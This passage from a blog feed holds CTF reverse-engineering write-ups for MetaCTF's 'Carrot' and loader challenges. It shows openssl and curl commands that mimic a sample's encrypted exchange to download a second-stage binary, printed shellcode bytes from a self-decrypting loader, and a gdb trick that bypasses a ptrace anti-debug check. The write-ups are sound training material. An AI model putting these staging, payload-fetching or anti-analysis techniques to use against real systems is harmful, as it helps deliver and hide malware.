<span id="cb8-5">0x000042c1  2d2d 2d2d 2d42 4547 494e 2050 5542 4c49  -----BEGIN PUBLI</span>
<span id="cb8-6">0x000042d1  4320 4b45 592d 2d2d 2d2d 0a4d 4949 4249  C KEY-----.MIIBI</span>
<span id="cb8-7">0x000042e1  6a41 4e42 676b 7168 6b69 4739 7730 4241  jANBgkqhkiG9w0BA</span>
<span id="cb8-8">...</span>
<span id="cb8-9">0x00004451  7230 7668 6d62 3850 4647 437a 526a 5466  r0vhmb8PFGCzRjTf</span>
<span id="cb8-10">0x00004461  0a57 5149 4441 5141 420a 2d2d 2d2d 2d45  .WQIDAQAB.-----E</span>
<span id="cb8-11">0x00004471  4e44 2050 5542 4c49 4320 4b45 592d 2d2d  ND PUBLIC KEY---</span>
<span id="cb8-12">0x00004481  2d2d 0a00 2000 0066 6666 6666 be62 4000  --.. ..fffff.b@.</span>
<span id="cb8-13">[0x00002450]&gt; wtf public_key.pem 0x1c3 @ 0x000042c1</span></code></pre></div></div>
<p>I generated the random key and iv with openssl:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb9" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb9-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">openssl</span> rand <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-out</span> aes.key 16</span>
<span id="cb9-2"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">openssl</span> rand <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-out</span> aes.iv 16</span></code></pre></div></div>
<p>For encrypting with aes, I used the following command with the newly created key and iv:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb10" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb10-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">openssl</span> enc <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-aes-128-cbc</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-in</span> data.txt <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-out</span> encrypted_data.bin <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-K</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$(</span><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">xxd</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-p</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-c</span> 32 aes.key<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">)</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-iv</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$(</span><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">xxd</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-p</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-c</span> 32 aes.iv<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">)</span></span></code></pre></div></div>
<p>And for encrypting the AES key using the RSA public key:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb11" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb11-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">openssl</span> rsautl <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-encrypt</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-inkey</span> public.pem <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-pubin</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-in</span> aes.key <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-out</span> aes.key.enc</span></code></pre></div></div>
<p>Combine the files in the correct order:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb12" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb12-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">cat</span> aes.iv aes.key.enc encrypted_data.bin <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> combined_data.bin</span></code></pre></div></div>
<p>The final curl request uses the option <code>--data-binary</code> to send the combined binary data.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb13" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb13-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">curl</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-X</span> POST <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb13-2">  <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--url</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"https://e973351f665441a608f99ad8fa2cd797.statichosting-aws.com/register"</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb13-3">  <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--data-binary</span> @combined.bin <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb13-4">  <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-H</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Content-Type: application/octet-stream"</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb13-5">  <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-o</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"response_encrypted_data.bin"</span></span></code></pre></div></div>
<p>And finally, the last symmetric decryption is very similar to the encryption one:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb14" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb14-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">openssl</span> enc <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-d</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-aes-128-cbc</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-in</span> response_encrypted_data.bin <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-out</span> response_data.bin <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-K</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$(</span><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">xxd</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-p</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-c</span> 32 aes.key<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">)</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-iv</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$(</span><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">xxd</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-p</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-c</span> 32 aes.iv<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">)</span></span></code></pre></div></div>
<p>And I ended up with another binary of just ~15K.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb15" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb15-1">file response_data.bin</span>
<span id="cb15-2">response_data.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8f425245bcbc30f554f67fc993fd957c491a2b06, for GNU/Linux 4.4.0, stripped</span></code></pre></div></div>
</section>
<section id="second-stage-binary" class="level2">
<h2 class="anchored" data-anchor-id="second-stage-binary">Second stage binary</h2>
<p>At this point, it was very late and I should have already been sleeping, but I couldn’t resist taking a quick look at the binary.</p>
<p>Fortunately for me (and my sleep schedule), the binary was very small.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/flag.png" title="second stage binary loaded in r2 showing the flag" class="img-fluid"></p>
<p>The second stage binary only prints the flag!</p>
<p><code>MetaCTF{y0u_g0t_7h3_meats}</code></p>
<p>I went to sleep happy (and late) and proud to solve the challenge without running the binary :)</p>
<p><em>the problem was that the competition ended like two hours ago ¯\<em>(ツ)</em>/¯</em></p>
<p><em>maybe I should practice more my debugging skills and be a bit more competitive…</em></p>


</section>

<a onclick="window.scrollTo(0, 0); return false;" id="quarto-back-to-top"><i class="bi bi-arrow-up"></i> Back to top</a> ]]></description>
  <category>CTF</category>
  <category>reversing</category>
  <category>radare2</category>
  <category>ghidra</category>
  <category>anti-debugging</category>
  <guid>https://0xlibris.net/posts/metactf_2025_feb_carrot/</guid>
  <pubDate>Wed, 12 Mar 2025 00:00:00 GMT</pubDate>
  <media:content url="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/anti-debugging_checks.png" medium="image" type="image/png" height="44" width="144"/>
</item>
<item>
  <title>I Heard You Liked Loaders</title>
  <link>https://0xlibris.net/posts/metactf_2025_jan_loader/</link>
  <description><![CDATA[ 






<section id="introduction" class="level2">
<h2 class="anchored" data-anchor-id="introduction">Introduction</h2>
<p>This is my solution to the reversing challenge from the Meta Flash CTF of January 2025, titled “<strong>I Heard You Liked Loaders</strong>.”</p>
<p>For flash CTF challenges, the most efficient method is to directly debug the binary and perform dynamic analysis. However, in this write-up, I will attempt to solve it statically, which I find more interesting.</p>
</section>
<section id="speedrun-solution" class="level2">
<h2 class="anchored" data-anchor-id="speedrun-solution">Speedrun Solution</h2>
<p>If you’re looking for a quick win, the binary can be easily debugged using gdb. The process is straightforward:</p>
<pre><code>&gt; next
&gt; next
&gt; next
&gt; set $rax=0  // antidebug bypass
&gt; next
&gt; next
&gt; next
&gt; get flag</code></pre>
<p>It’s as easy as installing a Windows program.</p>
<p><code>&lt;/joke&gt;</code>, not so easy, but something like that.</p>
</section>
<section id="initial-binary-analysis" class="level2">
<h2 class="anchored" data-anchor-id="initial-binary-analysis">Initial Binary Analysis</h2>
<p>The challenge title and filename (<code>loader</code>) suggest that the binary might be loading or unpacking additional code at runtime.</p>
<p>Let’s start by identifying the binary type:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode default code-overflow-wrap code-with-copy"><code class="sourceCode default"><span id="cb2-1">$ file loader</span>
<span id="cb2-2">loader: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 4.4.0, BuildID[sha1]=041598d614a2a880192ec270ae2b0523e9db0631, not stripped</span></code></pre></div></div>
<p>This tells us it’s a 64-bit ELF PIE executable, dynamically linked, and not stripped, so symbols are intact, which will help with analysis.</p>
<p>I loaded the binary in r2 to analyze its contents.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb3" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb3-1">[0x00001050]&gt; afl</span>
<span id="cb3-2">0x00001030    1      6 sym.imp.__stack_chk_fail</span>
<span id="cb3-3">0x00001040    1      6 sym.imp.mmap</span>
<span id="cb3-4">0x00001050    1     37 entry0</span>
<span id="cb3-5">0x00001474    1     13 sym._fini</span>
<span id="cb3-6">0x00001149    3    808 main</span>
<span id="cb3-7">0x00001000    3     27 sym._init</span>
<span id="cb3-8">0x00001140    5     60 entry.init0</span>
<span id="cb3-9">0x000010f0    5     55 entry.fini0</span>
<span id="cb3-10">0x00001080    4     34 fcn.00001080</span></code></pre></div></div>
<p>The presence of <code>mmap</code> is a clue that some dynamic memory operations are taking place.</p>
<section id="dissecting-the-main-function" class="level3">
<h3 class="anchored" data-anchor-id="dissecting-the-main-function">Dissecting the main Function</h3>
<p>The main function consists of two distinct parts:</p>
<ul>
<li><strong>Setup Phase</strong>: It loads values into variables and calls <code>mmap</code> to allocate a 0x400-byte memory region with executable permissions.</li>
</ul>
<p><img src="https://0xlibris.net/posts/metactf_2025_jan_loader/img/r2_main_1.png" title="r2 view of main (setup phase)" class="img-fluid"></p>
<ul>
<li><strong>Execution Phase</strong>: The data is copied into the allocated region, and execution is transferred to it, indicating that the binary is running some embedded shellcode or bytecode.</li>
</ul>
<p><img src="https://0xlibris.net/posts/metactf_2025_jan_loader/img/r2_main_2.png" title="r2 view of main (execution phase)" class="img-fluid"></p>
</section>
<section id="extracting-the-bytecode" class="level3">
<h3 class="anchored" data-anchor-id="extracting-the-bytecode">Extracting the Bytecode</h3>
<p>To analyze the embedded code, I extracted the bytecode from the memory region allocated by mmap. Here’s the Python script I used to extract it:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb4" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb4-1"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> pwn <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span></span>
<span id="cb4-2"></span>
<span id="cb4-3">bytecode_1 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xf6314800000001bf</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-4">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x65b8d2314dd23148</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-5">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xf88348050f000000</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-6">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xff31480aeb027500</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-7">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xe8050f0000003cb8</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-8">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x1e358d4800000000</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-9">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x68aceff48000000</span>)  <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-10">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x30015e8a1474c084</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-11">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x688072cff4632d8</span>)  <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-12">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x90e6ffe9ebc6ff48</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-13">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x3eb85929a65020ff</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-14">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x794e3e874b3ba64e</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-15">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xb9cc51b0c551a7d2</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-16">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xa726fa7971a2d751</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-17">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x3fe33c1aa2a5a285</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-18">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x82baf4bbbcbbbcae</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-19">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xf4b334b38e71430d</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-20">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x403a40474149b034</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-21">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x8a53852720275244</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-22">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x22d88e806643b7ba</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-23">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x80d00e3bdf87893f</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-24">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x7301c7b2ad2c45d7</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-25">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x8f8bdb0527f0d48e</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-26">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xc44cf9ca9d82033f</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-27">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x6bac44c44cf9ca9d</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb4-28">           <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> p64(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xcc0048a96f5750</span>)</span>
<span id="cb4-29"></span>
<span id="cb4-30"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">with</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">open</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"bytecode_1"</span>, <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"bw"</span>) <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">as</span> f:</span>
<span id="cb4-31">    f.write(bytecode_1)</span></code></pre></div></div>
</section>
</section>
<section id="bytecode-1" class="level2">
<h2 class="anchored" data-anchor-id="bytecode-1">Bytecode 1</h2>
<p>I named this bytecode <code>bytecode_1</code>, and loaded into r2 again.</p>
<blockquote class="blockquote">
<p>Spoiler alert: it won’t be the only one.</p>
</blockquote>
<p>The total size of this bytecode is <code>0xd0</code> bytes.</p>
<section id="anti-debugging-check" class="level3">
<h3 class="anchored" data-anchor-id="anti-debugging-check">Anti-Debugging Check</h3>
<p>At the beginning of the bytecode, there’s a simple anti-debugging technique using syscalls. Debuggers like gdb rely on the <code>ptrace</code> syscall to attach to a running process. Since only one process can attach using <code>ptrace</code> at a time, the program can detect if it’s being debugged by attempting to call <code>ptrace</code> itself. If the call fails, it knows a debugger is present and exits.</p>
<p>For reference, syscall information and their arguments can be found <a href="https://hackeradam.com/x86-64-linux-syscalls/">here</a>. Alternatively, Radare2’s emulation features also help in identifying syscalls and their arguments:</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_jan_loader/img/r2_bytecode_1_1.png" title="bytecode antidebug" class="img-fluid"></p>
<table class="caption-top table">
<colgroup>
<col style="width: 6%">
<col style="width: 16%">
<col style="width: 27%">
<col style="width: 15%">
<col style="width: 16%">
<col style="width: 16%">
</colgroup>
<thead>
<tr class="header">
<th>rax</th>
<th>System Call</th>
<th>rdi (request)</th>
<th>rsi (pid)</th>
<th>rdx (addr)</th>
<th>r10 (data)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>101</td>
<td>sys_ptrace</td>
<td>1 (PTRACE_TRACEME)</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>
<p>In pseudocode, the anti-debugging logic looks like this:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb5" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb5-1"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">void</span> fcn<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>bytecode_1<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">()</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb5-2">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">int</span> is_debug <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> ptrace<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb5-3">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>is_debug<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb5-4">        exit<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span>  <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// Exit if a debugger is detected</span></span>
<span id="cb5-5">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb5-6">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// Continue execution if no debugger is detected</span></span>
<span id="cb5-7"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
</section>
<section id="decryption-function" class="level3">
<h3 class="anchored" data-anchor-id="decryption-function">Decryption Function</h3>
<p>After the anti-debugging check, the bytecode proceeds to decrypt another portion of itself. From address <code>0x50</code>, the following bytes appear encrypted, showing random or invalid opcodes in their raw form:</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_jan_loader/img/r2_bytecode_1_2.png" title="bytecode 1 decryption" class="img-fluid"></p>
<p>To analyze the next stage, I wrote a simple C function to manually decrypt this section of the bytecode.</p>
<p>I started with the output of the Ghidra decompiler (<code>pdg</code>), but it was difficult to read and ended up rewriting it all again. For a small function like this, it’s better to analyze directly the assembly.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_jan_loader/img/r2_bytecode_1_3.png" title="bytecode 1 decompiler" class="img-fluid"></p>
<p>The Radare2 command <code>pcq</code> (Print Characters Quoted) is handy here to copy the encrypted bytes.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb6" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb6-1"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unsigned</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">char</span> encrypted<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[]</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb6-2">    <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xff</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x20</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x50</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xa6</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x29</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x59</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xb8</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x3e</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x4e</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xa6</span></span>
<span id="cb6-3">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ...</span></span>
<span id="cb6-4"></span>
<span id="cb6-5"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">};</span></span>
<span id="cb6-6"></span>
<span id="cb6-7"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">void</span> decrypt_bytes<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">()</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb6-8">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">int</span> i <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb6-9">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unsigned</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">char</span> value<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> prev<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb6-10">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">while</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
